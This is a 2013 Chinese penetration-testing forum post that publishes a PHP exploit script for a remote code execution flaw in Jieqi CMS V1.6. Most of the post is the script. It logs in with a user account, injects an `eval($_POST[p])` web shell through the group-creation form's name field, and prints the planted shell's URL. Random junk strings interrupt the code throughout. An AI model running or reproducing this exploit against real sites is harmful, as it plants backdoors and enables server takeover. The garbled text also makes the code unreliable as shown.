中国网络渗透测试联盟

标题: Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP [打印本页]

作者: admin    时间: 2013-2-23 11:28
标题: Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
" t% C1 o; Y, o# R, K
) G( e8 }6 q9 B& N0 L5 D/ C " Z- G: _  |: }/ V3 {4 `7 g( n
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。' W0 k; ?" \; _# X
需要有一个能创建圈子的用户。& ^# I$ U8 ^" P" t" c6 h! i
" F9 z8 F& P; }  M, O
<?php" @0 c" `. B. _/ B4 B. K/ h  M

  L' K9 o+ G2 C6 `0 Z1 pprint_r('
( C1 ]& p% a# f/ F+---------------------------------------------------------------------------+
- _+ R/ q& g  \Jieqi CMS V1.6 PHP Code Injection Exploit
6 w" U- g% k- }* u- G$ vby flyh4t
, \+ S: f2 k+ q9 ^. U1 jmail: phpsec at hotmail dot com3 y/ I. f4 q% u2 M' X
team: http://www.wolvez.org
+ |$ Y# \; }1 \/ }. H( x! ~+---------------------------------------------------------------------------+& Z; T0 E! y; A; ^; L: D
'); /**
1 R+ D0 B3 _# d: T! X" X8 a* Q * works regardless of php.ini settings
" x% i% M1 P0 b- J+ Z$ k*/ if ($argc < 5) { print_r('$ d* h( e- ^% P' I
+---------------------------------------------------------------------------+
, [4 F, t" f* O1 c' y* AUsage: php '.$argv[0].' host path username
6 P3 k) A$ q- Y8 A# i1 [( t9 U8 Qhost:      target server (ip/hostname)+ V6 e8 \  ^+ Q# O2 p8 Y1 e
path:      path to jieqicms
, x$ u! d6 ]& N) }' f3 I" _uasename:  a username who can create group1 x: U$ T5 r7 z2 I2 T
Example:* b- E8 w) U# O. ]% r
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
& d7 C, |0 B0 ^, U1 g1 x+---------------------------------------------------------------------------+( v9 z; G) i2 G* L- s6 Q; Z1 @
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------232811682799614 v% E0 g; G" ?% A6 u1 e
Content-Disposition: form-data; name="gname"" Q  a' T- {4 ]5 s. t" J

# E; L  M# Z. ]0 @" E* G( H- U8 _'; $params .="';"; $params .='eval($_POST[p]);//flyh4t* V: C$ E& K( P4 o/ \
-----------------------------23281168279961
" [4 p# x" h0 d* \! s( iContent-Disposition: form-data; name="gcatid"+ Z2 Q1 z3 G" z7 w: V9 j

! ], H$ V6 [1 q; D4 |1 L1" c+ ?3 ^( P) N8 {" p" s
-----------------------------23281168279961
0 N3 x/ k$ r; ~, ?  b0 u3 \4 ?Content-Disposition: form-data; name="gaudit"
) a! M7 z1 a5 ^2 Z+ ?8 I
; b" V+ v+ W; ?1; J  r% i. y4 C) ]% M
-----------------------------23281168279961' \0 P* y' m+ K9 U- F
Content-Disposition: form-data; name="gbrief"
0 G( i2 F7 g  k& Y- E 6 m5 [% N$ G# E+ }( s; R( @
1. {  T* P8 [4 a5 g
-----------------------------23281168279961--
: [* m0 ^. B4 |'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com0 @  y% Q& r2 B6 S3 c

' f! ]6 _) @: x( x( w* Ppreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2